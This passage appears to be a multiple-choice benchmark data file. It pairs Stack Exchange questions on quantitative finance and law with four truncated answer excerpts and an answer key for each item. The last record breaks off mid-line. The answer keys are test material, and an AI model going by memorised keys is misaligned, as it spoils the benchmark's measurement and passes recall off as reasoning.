applications where getting a good forecast of the eigenvectors of the covariance would be helpful, but the eigenvalues are not as important. (I am thinking of the case where one's portfolio is $\\Sigma^{-1}\\mu$, rescaled, where $\\Sigma$ is the forecast covariance, and $\\mu$ is the forecast returns.) In that case, the metric for forecasting quality should be invariant with respect to scale of the forecast. For some cases, it seems like forecasting the first eigenvector is more important (using it like beta), etc . This is why I was looking for methods specifically for covariance forecasting for use in quant finance.", "question_score": 23, "question_tags": ["forecasting", "statistics", "covariance"], "choices": {"A": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "B": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "C": "A general model (with continuous paths) can be written $$ \\frac{dS_t}{S_t} = r_t dt + \\sigma_t dW_t^S $$ where the short rate $r_t$ and spot volatility $\\sigma_t$ are stochastic processes. In the Black-Scholes model both $r$ and $\\sigma$ are deterministic functions of time (even constant in the original model). This produces a flat smile for any expiry $T$. And we have the closed form formula for option prices $$ C(t,S;T,K) = BS(S,T-t,K;\\Sigma(T,K)) $$ where $BS$ is the BS formula and $\\Sigma(T,K) = \\sqrt{\\frac{1}{T-t}\\int_t^T \\sigma(s)^2 ds}$. This is not consistent with the smile observed on the market. In order to match...", "D": "You are correct: evaluating volatility forecasts is quite different from evaluating forecasts in general, and it is a very active area of research. Methods can be classified in several ways. One criterion is to consider evaluation methods for single forecasts (e.g., for the time series of returns of a specific portfolio) vs multiple simultaneous forecasts (e.g., for an investable universe). Another criterion is to separate direct evaluation methodsfrom indirect evaluation methods (more on this later). Focusing on single-asset methods: historically the most commonly used approach by practitioners, and the one advocated by Barra is the \"bias\" statistics. If you have..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/121/how-do-you-evaluate-a-covariance-forecast"} {"id": "finance_2000", "domain": "finance", "question_title": "When should you build your own equity risk model?", "question_body": "Commercial risk models (e.g., Barra , Axioma , Barclays , Northfield ) have evolved to a very high level of sophistication. However, all of these models attempt to solve a very broad set of problems. The optimal risk model for, say, risk attribution in a fundamental portfolio may differ substantially from the optimal risk model for downside risk estimation of an optimized quantitative strategy or for hedging unwanted exposures in a pure relative value play. Suppose that one already subscribes to a decent risk model provider, so that cost is not an issue. For what applications is it most appropriate to build your own equity risk model? What are the main benefits of a customized risk model? When is it worth the time and effort to replicate the increasingly sophisticated data cleaning/analysis and statistical methods to reap these benefits?", "question_score": 23, "question_tags": ["risk", "equities", "risk-models"], "choices": {"A": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "B": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "C": "I think you're overlooking a third explanation: Nobody that found a successful technique to generate alpha has published it. I can think of the following causes: If you're an academic, why share your brilliant idea? These techniques require a lot of data and financial data can be expensive, researches that work at firms that have access to this data don't share their findings with the public. Academics did find a lot of signals already the old fashioned way. Despite this, fancy techniques such as AAD and Reinforcement Learning are discussed publicly. These methods don't generate any alpha however.", "D": "Great question. We would expect 3rd party risk providers to have specialized expertise (robust regression techniques, factor research, data cleansing etc.). We might grant them these advantages but still find weakness in the product design. Let's start off with the different uses of risk models and the procedure or metric which is maximized to solve for that use case. What we will see is that solving for a particular objective diminishes our ability to achieve other objectives. Portfolio construction = If you want to construct a minimum variance portfolio, for example, then the key here is developing a covariance matrix..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2000/when-should-you-build-your-own-equity-risk-model"} {"id": "finance_2332", "domain": "finance", "question_title": "How to combine multiple trading algorithms?", "question_body": "Is it possible to combine different algorithms so as to improve trading performance? In particular, I have read that social media sentiment tracking, digital signal processing and neural networks all can be used for trading algorithms. Would it be possible to create a trading algorithm that combines elements from these three areas or are these methods mutually exclusive in that they are incompatible with each other? If you commit to one, can you use the other?", "question_score": 23, "question_tags": ["trading", "algorithmic-trading", "quant-trading-strategies", "performance"], "choices": {"A": "In order to answer your question (for you) you would need something to compare to . You would need numbers to know if it is slower/faster, how much, and if it will impact your system overall. Also knowing your performance goals could narrow down the options. My advice is to take a look at your overall architecture of the sytem you have or intend to build. To just look at QuickFIX is rather meaningless without the whole chain involved in processing information and reacting to it . As an example, say QuickFIX is 100 times faster than some part (in...", "B": "The way you do it in the first place is a discretization of the Geometric Brownian Motion (GBM) process. This method is most useful when you want to compute the path between $S_0$ and $S_t$, i.e. you want to know all the intermediary points $S_i$ for $0 \\leq i \\leq t$. The second equation is a closed form solution for the GBM given $S_0$. A simple mathematical proof showed that, if you know the initial point $S_0$ (which is $a$ in your equation), then the value of the process at time $t$ is given by your equation (which contains $W_t$,...", "C": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "D": "Yes. First, it is much easier to proceed if you standardize the output of your forecast so they are in the same units (returns, for example, or probabilities of an event/condition occurring). After you have done this, there are 3 general approaches: Signal weighting: Then you need to define a weighting scheme for your factors. Richard Grinold has an one answer to this question in his paper \" Signal Weighting \". Note there are quite a few methods to weight signals (optimization, meta-models, forecast pooling, Bayesian model averaging, weighing based on out-of-sample performance, etc.). The general problem of \"Signal Weighting\"..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/2332/how-to-combine-multiple-trading-algorithms"} {"id": "finance_3667", "domain": "finance", "question_title": "Skewness and Kurtosis under aggregation", "question_body": "Returns possess non-zero skewness and excess kurtosis. If these assets are temporally aggregated both will disappear due to the law of large numbers. To be exact, if we assume IID returns skewness scales with $\\frac{1}{\\sqrt{n}}$ and kurtosis with $\\frac{1}{n}$. I'm interested in a concise, clear and openly accessible proof for the above statement preferably for all higher moments. This question is inspired by this question by Richard which deals with, among other things, the behaviour of the higher moments of returns under temporal aggregation. I know about two papers that answer this question. Hawawini (1980) is wrong and Hon-Shiang and Wingender (1989) is behind a paywall and a bit inscrutable.", "question_score": 23, "question_tags": ["statistics", "returns", "volatility-skew", "kurtosis"], "choices": {"A": "Just to be painfully clear, it only seems to make sense to consider the logarithm of returns, i.e. $X=\\log (1+\\frac r{100})$ for a simple return of $r\\%$ in an arbitrary period because this is what sums when returns are temporally aggregated. A basic property of cumulants is that cumulants of all orders are additive under convolution, for which a proof can be found here here . So if $X_1$, $X_2$, ... $X_n$ are i.i.d. , then all the cumulants of $$Y_n = \\sum_{i=1}^nX_i$$ scale linearly with $n$, i.e. $$\\kappa_k(Y_n)=n\\kappa_k(Y_1).$$ However, I suspect that you are normalizing this sum so that...", "B": "There are some cases where you can blend your portfolios using weights directly. One case involves corner portfolios . In this case a linear combination of weights is also efficient. Another case is where you can treat the two separate weights you have produced each as distinct portfolio under the assumption that the correlation between these portfolios is relatively stable. In this scenario, the problem reduces to a two-asset portfolio optimization problem (each asset is simply the linear combination of weights produced via your two methods). The other class of methods involves blending via the expected returns. If you arrived...", "C": "The term has a different meaning to different people. to econometricians, microstructure noise is a disturbance that makes high frequency estimates of some parameters (e.g. realized volatility) very unstable. Generally this strand of the literature professes agnosticism as to the its origin; to market microstructure researchers, microstructure noise is a deviation from fundamental value that is induced by the characteristics of the market under consideration, e.g. bid-ask bounce, the discreteness of price change, latency, and asymmetric information of traders. The last example is frequently cited but I don't think it is accurate. Asymmetric information does not have to be a...", "D": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/3667/skewness-and-kurtosis-under-aggregation"} {"id": "finance_3934", "domain": "finance", "question_title": "Portfolio optimisation with VaR or CVaR constraints using linear programming", "question_body": "I would like to optimize a portfolio allocation (maximizing the exposure or the expected return), but with VaR or CVaR contraints. (some parts of my portfolio cannot exceed a certain VaR) How can I achieve that? Is there a way to turn the problem into a linear programming problem? or to approximate the results? Any links or ideas are welcome.", "question_score": 23, "question_tags": ["portfolio-management", "portfolio-optimization", "optimization", "value-at-risk"], "choices": {"A": "In my experience, a VaR or CVaR portfolio optimization problem is usually best specified as minimizing the VaR or CVaR and then using a constraint for the expected return. As noted by Alexey, it is much better to use CVaR than VaR. The main benefit of a CVaR optimization is that it can be implemented as a linear programming problem. Another option I have tried is the technique in this paper: http://www.math.uwaterloo.ca/~tfcolema/articles/bank_article.pdf Another option is the two-step heuristic where one first finds the mean-variance efficient frontier and then you could calculate whatever are the relevant portfolio statistics on only the...", "B": "Garabedian, Typically, the \"swap curve\" refers to an x-y chart of par swap rates plotted against their time to maturity. This is typically called the \"par swap curve.\" Your second question, \"how it relates to the zero curve,\" is very complex in the post-crisis world. I think it's helpful to start the discussion with a government bond yield curve to clarify some concepts and terminologies. Consider the US Treasury market, using the outstanding Treasury notes and bonds (nearly 300 of them...), we can either use bootstrapping or more sophisticated spline models to construct a \"fitted curve.\" Since this yield curve...", "C": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests.", "D": "This question goes to whether the historical returns to factors represent: Spurious results, overfitting, data mining... Mispricing Unexploitable effects Compensation for risk Case 1: Spurious results etc... If someone constructs a \"stock tickers that begin with AAP or GOO\" factor, the highly above average returns would almost certainly reflect a fishing expedition (or conditioning on future information) and would not be reproducible going forward. Under a null of no above average returns, you're going to get portfolios that have above average historical returns with t-stats over 2. Beware. For something like the Fama-French factor $\\mathit{HML}$, this seems far less likely..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/3934/portfolio-optimisation-with-var-or-cvar-constraints-using-linear-programming"} {"id": "finance_27674", "domain": "finance", "question_title": "What is the most stable, non-trivial dependence structure in finance?", "question_body": "The highest rated answer to the question on What concepts are the most dangerous ones in quantitative finance work? is this one: Correlation Correlations are notoriously unstable in financial time series [...] My question My question is a little bit broader than just about linear dependence, it is: What is the most stable, non-trivial dependence structure in financial data? With non-trivial I mean that I don't want answers that are about direct connections, e.g. between derivative and underlying. The dependence structure can be either cross-sectional or through time with univariate time series, it can also be non-linear . The context of my question is that I am preparing the documentation for a new machine learning R package I wrote and I am looking for a good showcase in the financial sphere. Now this is not a trivial feat given that correlations are notoriously... see above ;-)", "question_score": 23, "question_tags": ["finance", "correlation", "dependence"], "choices": {"A": "It is hard to find a stable non-trivial dependence structure in financial data. Usually when such is found it is hard to rationalize. One of my favorite (although I am sure there are others) is the so called \"Presidential Puzzle\". This is an old finding by Santa-Clara and Valkanov (2003) They find that \" Excess return in the stock market is higher under Democratic than Republican presidencies: 9 percent for the value‐weighted and 16 percent for the equal‐weighted portfolio. At the time the finding was very robust and did not seem to be explained by anything else. What is more...", "B": "I would consider a motion chart that plots the eigenvalues of the covariance matrix over time. For a static view you can create a table: rows represent dates, and columns represent eigenvectors. The entries of the table represent changes in the angle of the eigenvector from the previous row. This will show how stable your covariance structure is. You can also create a second table this time with eigenvalues as the columns sorted from high to low (and the corresponding values below for each date). This shows the variance described by each eigenvector so you can see whether correlation as...", "C": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "D": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/27674/what-is-the-most-stable-non-trivial-dependence-structure-in-finance"} {"id": "finance_34111", "domain": "finance", "question_title": "What are reasons not to do factor investing in equity markets?", "question_body": "Factor investing in equity markets is one of the hot topics of these days. Many manufacturers of investment products offer exposure to small cap, momentum, minvol, value and other pure factors or factor blends. Many of them beating the cap-weighted index at relatively low cost. I think of various reasons but I woud like to discuss: What are the reasons not everybody just invests in factor portfolios? What could be limitations, regulations, fears or other reasons not to invest in factor portfolios?", "question_score": 23, "question_tags": ["equities", "portfolio-management", "factor-investing"], "choices": {"A": "This question goes to whether the historical returns to factors represent: Spurious results, overfitting, data mining... Mispricing Unexploitable effects Compensation for risk Case 1: Spurious results etc... If someone constructs a \"stock tickers that begin with AAP or GOO\" factor, the highly above average returns would almost certainly reflect a fishing expedition (or conditioning on future information) and would not be reproducible going forward. Under a null of no above average returns, you're going to get portfolios that have above average historical returns with t-stats over 2. Beware. For something like the Fama-French factor $\\mathit{HML}$, this seems far less likely...", "B": "Have a look at this classic paper: Honey, I Shrunk the Sample Covariance Matrix by O. Ledoit and M. Wolf The abstract answers your question already: The central message of this article is that no one should use the sample covariance matrix for portfolio optimization. It is subject to estimation error of the kind most likely to perturb a mean-variance optimizer. Instead, a matrix can be obtained from the sample covariance matrix through a transformation called shrinkage. This tends to pull the most extreme coefficients toward more central values, systematically reducing estimation error when it matters most. Statistically, the challenge...", "C": "From what I remember, there is no real relation between Markov and Martingale, and my intuition was confirmed by this post . Basically, it says that you can say neither of the following: If A is Markov, then A is a martingale. If A is a martingale, then A is Markov. further down the post, you can find two counter examples: $dX_t = a dt + \\sigma dW_t$ is Markov but not a martingale and $dX_t = (\\int_0^t X_s ds) dW_t$ is a Martingale but is not Markov. As for the assumption of these properties being true, I think it...", "D": "I know that I have seen things like this in the past. Wasn't there something recently that used Twitter? Here are a few recent papers as examples, although I will be brutally honest that I don't know if they speak to your decent quality requirement: \"Trading Strategies to Exploit Blog and News Sentiment\" (Zhang, Skiena 2010) \"The Predictive Power of Financial Blogs\" (Frisbee 2010) \"An analysis of verbs in financial news articles and their impact on stock price\" (Schumaker 2010)"}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/34111/what-are-reasons-not-to-do-factor-investing-in-equity-markets"} {"id": "finance_39619", "domain": "finance", "question_title": "Gamma Pnl vs Vega Pnl", "question_body": "Why does Gamma Pnl have exposure to realised volatility, but Vega Pnl only has exposure to implied volatility? I am confused as to why gamma pnl is affected (more) by IV and why vega pnl isnt affected (more) by RV? Essentially how do you show what gamma pnl will be mathematically and how do you show what vega pnl will be? I believe that gamma pnl is spot x (vega x IV - RV) Also does gamma pnl usually dominate (in $ terms) the vega pnl of an options, as most literature is on gamma pnl?", "question_score": 23, "question_tags": ["options", "implied-volatility", "option-strategies", "gamma", "vega"], "choices": {"A": "The risk-neutral measure $\\mathbb{Q}$ is a mathematical construct which stems from the law of one price , also known as the principle of no riskless arbitrage and which you may already have heard of in the following terms: \"there is no free lunch in financial markets\". This law is at the heart of securities' relative valuation , see this very nice paper by Emmanuel Derman (\"Metaphors, Models & Theories\", 2011) and some part of this discussion. In what follows, assume for the sake of simplicity existence of a risk-free asset ; deterministic and constant rates, with risk-free rate $r$ ;...", "B": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "C": "For an option with price $C$ , the P $\\&$ L, with respect to changes of the underlying asset price $S$ and volatility $\\sigma$ , is given by \\begin{align*} P\\&L = \\delta \\Delta S + \\frac{1}{2}\\gamma (\\Delta S)^2 + \\nu \\Delta \\sigma, \\end{align*} where $\\delta$ , $\\gamma$ , and $\\nu$ are respectively the delta, gamma, and vega hedge ratios. Then it is clear the vega P $\\&$ L has exposure to the change of the implied volatility $\\sigma$ . Note that, for the gamma P $\\&$ L, \\begin{align*} \\frac{1}{2}\\gamma (\\Delta S)^2 = \\frac{1}{2}\\gamma S^2 \\frac{1}{\\Delta t}\\left(\\frac{\\Delta S}{S}\\right)^2\\Delta t, \\end{align*} where...", "D": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)"}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/39619/gamma-pnl-vs-vega-pnl"} {"id": "finance_180", "domain": "finance", "question_title": "How are distributions for tail risk measures estimated in practice?", "question_body": "Let's say you want to calculate a VaR for a portfolio of 1000 stocks. You're really only interested in the left tail, so do you use the whole set of returns to estimate mean, variance, skew, and shape (let's also assume a skewed generalized error distribution - SGED)? Or would you just use the left tail (let's say the bottom 10% of returns)? For some reason, using the whole set of returns seems more correct to me (by using only the left 10% or returns you'd really be approaching a non-parametric VaR). But using the whole set of returns would likely cause some distortion in the left tail in order to get a better fit elsewhere. How are the pros doing this? Thanks!", "question_score": 22, "question_tags": ["risk", "probability", "estimation", "value-at-risk", "expected-return"], "choices": {"A": "Perhaps you may want to consider article by D. Levine - Modeling Tail Behavior with Extreme Value Theory who gives practicale example on how EVT can be used to calculate probabilities on returns in tails with use of the Pickands-Balkema-de Haan Theorem and generalized Pareto distribution. It also contains some criterias and points on other methods that can be used to determine threshold value for PBH theorem: Contrary to this notion is the fact that the PBH theorem states a result based on the assumption of threshold values approaching the right endpoint of the distribution F. This implies that better...", "B": "Great question. We would expect 3rd party risk providers to have specialized expertise (robust regression techniques, factor research, data cleansing etc.). We might grant them these advantages but still find weakness in the product design. Let's start off with the different uses of risk models and the procedure or metric which is maximized to solve for that use case. What we will see is that solving for a particular objective diminishes our ability to achieve other objectives. Portfolio construction = If you want to construct a minimum variance portfolio, for example, then the key here is developing a covariance matrix...", "C": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we...", "D": "Nick Higham's specialty is algorithms to find the nearest correlation matrix. His older work involved increased performance (in order-of-convergence terms) of techniques that successively projected a nearly-positive-semi-definite matrix onto the positive semidefinite space. Perhaps even more interesting, from the practitioner point of view, is his extension to the case of correlation matrices with factor model structures. The best place to look for this work is probably the PhD thesis paper by his doctoral student Ruediger Borsdorf. Higham's blog entry covers his work up to 2013 pretty well."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/180/how-are-distributions-for-tail-risk-measures-estimated-in-practice"} {"id": "law_36259", "domain": "law", "question_title": "If a company agrees to pay travel cost for a job interview, is the promise binding and enforceable?", "question_body": "There is a question on workplace.SE about a company which offered to pay travel costs for a job interview, but canceled the return ticket after ending the interview - Potential Employer Cancels Return Flight . Generally, when arranging a job interview which requires the candidate to travel, it is common for the potential employer to pay travel cost and lodging for the candidate. In practice, the employer will ususally offer this, often in writing, but not write up a formal contract or similar document. In that situation, can the employer later renege on the promise to pay costs? In particular, can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? My thoughts: On the one hand, a simple one-sided promise is usually not binding, as a binding agreement requires both sides to give something (called consideration in Common law). On the other hand, there is the notion of detrimental reliance , which appears to fit here. Also, one could argue that the candidate does provide something in exchange, namely their presence and willingness to attend the interview (basically, the company trades travel costs for having the candidate present for the interview). So, is the promise to pay the candidate's cost enforceable or not? Im interested in any jurisdiction, particularly European and US.", "question_score": 231, "question_tags": ["contract-law", "employment"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out...", "C": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution.", "D": "There Is Little Pressure To Improve Contract Drafting One piece of the puzzle is tradition and habitual writing style. A customary writing style for legal documents evolved over time, some of those conventions have evolved overtime (e.g. \"Party of the first part, party of the second part\"), others have not. Archaic vocabulary is slowly being weeded out, but again, it is almost never the goal of someone drafting a contract to reduce the reading level of the document. As long as the judge, or other lawyers, know what it means, it is an aesthetic stylistic issue more than it is..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/36259/if-a-company-agrees-to-pay-travel-cost-for-a-job-interview-is-the-promise-bindi"} {"id": "law_48515", "domain": "law", "question_title": "Who is supposed to teach the law to the citizens?", "question_body": "As I understand, in general, not knowing the law does not excuse violating it . That should apply to most if not all jurisdictions in most cases with very few exceptions . From personal experience, never in my life has school, family or anyone ever actually taught me any laws or showed me where I could consult them myself, and I have already reached legal age a couple of years ago. So my question is, who, by law or morality, is supposed to teach citizens the law so that they can be aware and abide by it? Answers can be generalized to include most jurisdictions or be specific.", "question_score": 129, "question_tags": ["human-rights", "legal-concepts"], "choices": {"A": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable...", "B": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "C": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "D": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/48515/who-is-supposed-to-teach-the-law-to-the-citizens"} {"id": "law_27486", "domain": "law", "question_title": "I want to leave Islam, but they would execute and kill me. What do I do?", "question_body": "I live in an Islamic country, but I don't want to be a Muslim. I have no choice but to claim to be a Muslim: If I leave Islam, they will execute me according to Muslim law. Where can I go to have a peaceful, non-religious life? Can I get asylum in any English-speaking countries? For example, would the Republic of Ireland accept me as a refugee? This is a hypothetical/abstract question of law. I am not making any personal statements about my beliefs or intentions.", "question_score": 112, "question_tags": ["religion", "ireland", "refugee-law"], "choices": {"A": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "B": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use...", "C": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "D": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/27486/i-want-to-leave-islam-but-they-would-execute-and-kill-me-what-do-i-do"} {"id": "law_83103", "domain": "law", "question_title": "Why do many "No Trespassing" signs say "POSTED"?", "question_body": "Many \"no trespassing\" signs say \"POSTED\" in large letters at the top. Why? Obviously, the sign is posted; that's the whole purpose of a sign. To me, it makes as much sense as putting \"ASKED\" at the start of a Stack Exchange question or \"TEXTED\" at the start of a text. Does it serve any legal purpose? Or is it just designed to scare potential trespassers with legal-looking text?", "question_score": 108, "question_tags": ["united-states", "legal-terms", 